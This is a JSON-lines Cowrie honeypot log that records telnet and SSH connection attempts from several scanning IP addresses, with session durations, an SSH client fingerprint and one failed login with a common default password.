{"eventid":"cowrie.session.closed","duration":56.394360303878784,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:25.582850Z","src_ip":"165.232.131.181","session":"e51a0d974054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42916,"dst_ip":"10.17.0.5","dst_port":23,"session":"e12645d0899d","protocol":"telnet","message":"New connection: 165.232.131.181:42916 (10.17.0.5:23) [session: e12645d0899d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:27.627216Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57118,"dst_ip":"10.17.0.5","dst_port":23,"session":"776d78332a4c","protocol":"telnet","message":"New connection: 165.232.131.181:57118 (10.17.0.5:23) [session: 776d78332a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:28.143079Z"}
{"eventid":"cowrie.session.closed","duration":0.005351543426513672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:28.148300Z","src_ip":"165.232.131.181","session":"776d78332a4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":77.71489715576172,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:29.430252Z","src_ip":"165.232.131.181","session":"a4b3b5f853ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00290584564209,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:31.368270Z","src_ip":"165.232.131.181","session":"94181016d41f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.941365003585815,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:32.620033Z","src_ip":"65.60.27.33","session":"0aa2ce09c1e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36260,"dst_ip":"10.17.0.5","dst_port":23,"session":"83a3a3776a23","protocol":"telnet","message":"New connection: 38.54.119.93:36260 (10.17.0.5:23) [session: 83a3a3776a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:34.258396Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53380,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f72731ca92","protocol":"telnet","message":"New connection: 165.232.131.181:53380 (10.17.0.5:23) [session: c6f72731ca92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:37.700789Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38412,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f47f52b9e1","protocol":"telnet","message":"New connection: 38.54.119.93:38412 (10.17.0.5:23) [session: 87f47f52b9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:37.850651Z"}
{"eventid":"cowrie.session.closed","duration":36.07792806625366,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:38.697527Z","src_ip":"62.210.97.77","session":"8adc0b2a13aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37686,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e563ab092e","protocol":"telnet","message":"New connection: 62.210.97.77:37686 (10.17.0.5:23) [session: b3e563ab092e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:39.085012Z"}
{"eventid":"cowrie.session.closed","duration":45.77763390541077,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:41.302259Z","src_ip":"165.232.131.181","session":"c46691980e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.798131227493286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:41.922974Z","src_ip":"65.60.27.33","session":"7553cc987d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54390,"dst_ip":"10.17.0.5","dst_port":23,"session":"a432f4f37af4","protocol":"telnet","message":"New connection: 165.232.131.181:54390 (10.17.0.5:23) [session: a432f4f37af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:42.502056Z"}
{"eventid":"cowrie.session.closed","duration":15.600958347320557,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:43.228034Z","src_ip":"165.232.131.181","session":"e12645d0899d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.142044544219971,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:44.992564Z","src_ip":"38.54.119.93","session":"87f47f52b9e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37700,"dst_ip":"10.17.0.5","dst_port":23,"session":"7318c1da230b","protocol":"telnet","message":"New connection: 62.210.97.77:37700 (10.17.0.5:23) [session: 7318c1da230b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:46.756588Z"}
{"eventid":"cowrie.session.closed","duration":51.07059717178345,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:50.058805Z","src_ip":"38.54.119.93","session":"124b214d1657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.488505601882935,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:50.218478Z","src_ip":"62.210.97.77","session":"def8da21115e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"84be01a13610","protocol":"telnet","message":"New connection: 165.232.131.181:58872 (10.17.0.5:23) [session: 84be01a13610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:51.015925Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d884784d7b90","protocol":"telnet","message":"New connection: 62.210.97.77:36568 (10.17.0.5:23) [session: d884784d7b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:54.074447Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36584,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e484189e48d","protocol":"telnet","message":"New connection: 62.210.97.77:36584 (10.17.0.5:23) [session: 2e484189e48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:51:55.567734Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59028,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c9a0fc1174","protocol":"telnet","message":"New connection: 62.210.97.77:59028 (10.17.0.5:23) [session: 49c9a0fc1174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:00.636880Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.94.79","src_port":55235,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e587d620e80","protocol":"telnet","message":"New connection: 198.199.94.79:55235 (159.203.135.109:23) [session: 2e587d620e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:02.567459Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56510,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db39922baa5","protocol":"telnet","message":"New connection: 38.54.119.93:56510 (10.17.0.5:23) [session: 2db39922baa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:05.666761Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45918,"dst_ip":"10.17.0.5","dst_port":23,"session":"92aad4ea5025","protocol":"telnet","message":"New connection: 65.60.27.33:45918 (10.17.0.5:23) [session: 92aad4ea5025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:10.598795Z"}
{"eventid":"cowrie.session.closed","duration":32.95901823043823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:19.715521Z","src_ip":"62.210.97.77","session":"7318c1da230b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.176520347595215,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:19.877183Z","src_ip":"165.232.131.181","session":"c6f72731ca92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56174,"dst_ip":"10.17.0.5","dst_port":23,"session":"036c0dacfe5e","protocol":"telnet","message":"New connection: 65.60.27.33:56174 (10.17.0.5:23) [session: 036c0dacfe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:20.102753Z"}
{"eventid":"cowrie.session.closed","duration":41.334707498550415,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:20.419622Z","src_ip":"62.210.97.77","session":"b3e563ab092e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34970,"dst_ip":"10.17.0.5","dst_port":23,"session":"14c3d436b1fe","protocol":"telnet","message":"New connection: 62.210.97.77:34970 (10.17.0.5:23) [session: 14c3d436b1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:20.811931Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42980,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bee12af4138","protocol":"telnet","message":"New connection: 165.232.131.181:42980 (10.17.0.5:23) [session: 5bee12af4138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:22.793885Z"}
{"eventid":"cowrie.session.closed","duration":50.73433303833008,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:24.992584Z","src_ip":"38.54.119.93","session":"83a3a3776a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44100,"dst_ip":"10.17.0.5","dst_port":23,"session":"60157f94b9b3","protocol":"telnet","message":"New connection: 165.232.131.181:44100 (10.17.0.5:23) [session: 60157f94b9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:26.794082Z"}
{"eventid":"cowrie.session.closed","duration":44.68472194671631,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:27.186647Z","src_ip":"165.232.131.181","session":"a432f4f37af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34982,"dst_ip":"10.17.0.5","dst_port":23,"session":"637824bd1f9e","protocol":"telnet","message":"New connection: 62.210.97.77:34982 (10.17.0.5:23) [session: 637824bd1f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:27.669541Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43464,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66d0ed59290","protocol":"telnet","message":"New connection: 38.54.119.93:43464 (10.17.0.5:23) [session: f66d0ed59290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:28.987986Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.140.228.55","src_port":51572,"dst_ip":"10.17.0.5","dst_port":23,"session":"0760a43eb74d","protocol":"telnet","message":"New connection: 175.140.228.55:51572 (10.17.0.5:23) [session: 0760a43eb74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:29.328394Z"}
{"eventid":"cowrie.session.closed","duration":37.18237042427063,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:31.256712Z","src_ip":"62.210.97.77","session":"d884784d7b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.07851195335388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:31.646142Z","src_ip":"62.210.97.77","session":"2e484189e48d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.709681272506714,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:31.725512Z","src_ip":"165.232.131.181","session":"84be01a13610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87424349784851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:33.441629Z","src_ip":"198.199.94.79","session":"2e587d620e80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.593430280685425,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:34.230192Z","src_ip":"62.210.97.77","session":"49c9a0fc1174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.276987314224243,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:36.264832Z","src_ip":"38.54.119.93","session":"f66d0ed59290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d0133b1259","protocol":"telnet","message":"New connection: 62.210.97.77:41146 (10.17.0.5:23) [session: 02d0133b1259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:37.298755Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"09147de92918","protocol":"telnet","message":"New connection: 62.210.97.77:41156 (10.17.0.5:23) [session: 09147de92918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:37.484981Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48282,"dst_ip":"10.17.0.5","dst_port":23,"session":"5055bc50f762","protocol":"telnet","message":"New connection: 65.60.27.33:48282 (10.17.0.5:23) [session: 5055bc50f762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:38.155972Z"}
{"eventid":"cowrie.session.closed","duration":13.651327848434448,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:42.979631Z","src_ip":"175.140.228.55","session":"0760a43eb74d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39050,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fd125844a5","protocol":"telnet","message":"New connection: 62.210.97.77:39050 (10.17.0.5:23) [session: 32fd125844a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:44.544838Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8555af4637fd","protocol":"telnet","message":"New connection: 65.60.27.33:55760 (10.17.0.5:23) [session: 8555af4637fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:44.835763Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39052,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b157fcda82","protocol":"telnet","message":"New connection: 62.210.97.77:39052 (10.17.0.5:23) [session: 41b157fcda82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:46.289936Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"842184ed1c84","protocol":"telnet","message":"New connection: 62.210.97.77:57062 (10.17.0.5:23) [session: 842184ed1c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:48.943958Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56974,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbbac9da3cfb","protocol":"telnet","message":"New connection: 38.54.119.93:56974 (10.17.0.5:23) [session: fbbac9da3cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:49.934533Z"}
{"eventid":"cowrie.session.closed","duration":41.111899614334106,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:51.710604Z","src_ip":"65.60.27.33","session":"92aad4ea5025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57066,"dst_ip":"10.17.0.5","dst_port":23,"session":"34c34f031471","protocol":"telnet","message":"New connection: 62.210.97.77:57066 (10.17.0.5:23) [session: 34c34f031471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:52.412695Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59526,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e7babd53b0c","protocol":"telnet","message":"New connection: 38.54.119.93:59526 (10.17.0.5:23) [session: 1e7babd53b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:53.483976Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54202,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab3361cac30","protocol":"telnet","message":"New connection: 165.232.131.181:54202 (10.17.0.5:23) [session: 4ab3361cac30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:53.740133Z"}
{"eventid":"cowrie.session.closed","duration":49.168723821640015,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:54.835373Z","src_ip":"38.54.119.93","session":"2db39922baa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60492,"dst_ip":"10.17.0.5","dst_port":23,"session":"959c6d513569","protocol":"telnet","message":"New connection: 38.54.119.93:60492 (10.17.0.5:23) [session: 959c6d513569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:54.909341Z"}
{"eventid":"cowrie.session.closed","duration":35.338993310928345,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:55.441629Z","src_ip":"65.60.27.33","session":"036c0dacfe5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.8832643032073975,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:55.817672Z","src_ip":"38.54.119.93","session":"fbbac9da3cfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54546,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf8e57bab55","protocol":"telnet","message":"New connection: 165.232.131.181:54546 (10.17.0.5:23) [session: 9cf8e57bab55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:56.740797Z"}
{"eventid":"cowrie.session.closed","duration":36.77367973327637,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:57.585527Z","src_ip":"62.210.97.77","session":"14c3d436b1fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42554,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa44d37e045","protocol":"ssh","message":"New connection: 80.94.92.182:42554 (159.203.135.109:22) [session: 2aa44d37e045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:57.704741Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34254,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17dfcd246c1","protocol":"telnet","message":"New connection: 38.54.119.93:34254 (10.17.0.5:23) [session: e17dfcd246c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:57.864832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:57.924211Z","src_ip":"80.94.92.182","session":"2aa44d37e045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:57.927393Z","src_ip":"80.94.92.182","session":"2aa44d37e045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:58.887149Z","src_ip":"80.94.92.182","session":"2aa44d37e045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43146,"dst_ip":"10.17.0.5","dst_port":23,"session":"abbf7c93d034","protocol":"telnet","message":"New connection: 65.60.27.33:43146 (10.17.0.5:23) [session: abbf7c93d034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:58.963616Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ca05f49feb","protocol":"telnet","message":"New connection: 65.60.27.33:43486 (10.17.0.5:23) [session: 30ca05f49feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:59.397311Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56972,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7360612d19","protocol":"telnet","message":"New connection: 165.232.131.181:56972 (10.17.0.5:23) [session: 8e7360612d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:52:59.843636Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:00.174777Z","src_ip":"80.94.92.182","session":"2aa44d37e045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49464,"dst_ip":"10.17.0.5","dst_port":23,"session":"260776058e95","protocol":"telnet","message":"New connection: 62.210.97.77:49464 (10.17.0.5:23) [session: 260776058e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:00.517369Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43698,"dst_ip":"10.17.0.5","dst_port":23,"session":"28e47d6cfd77","protocol":"telnet","message":"New connection: 65.60.27.33:43698 (10.17.0.5:23) [session: 28e47d6cfd77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:00.656331Z"}
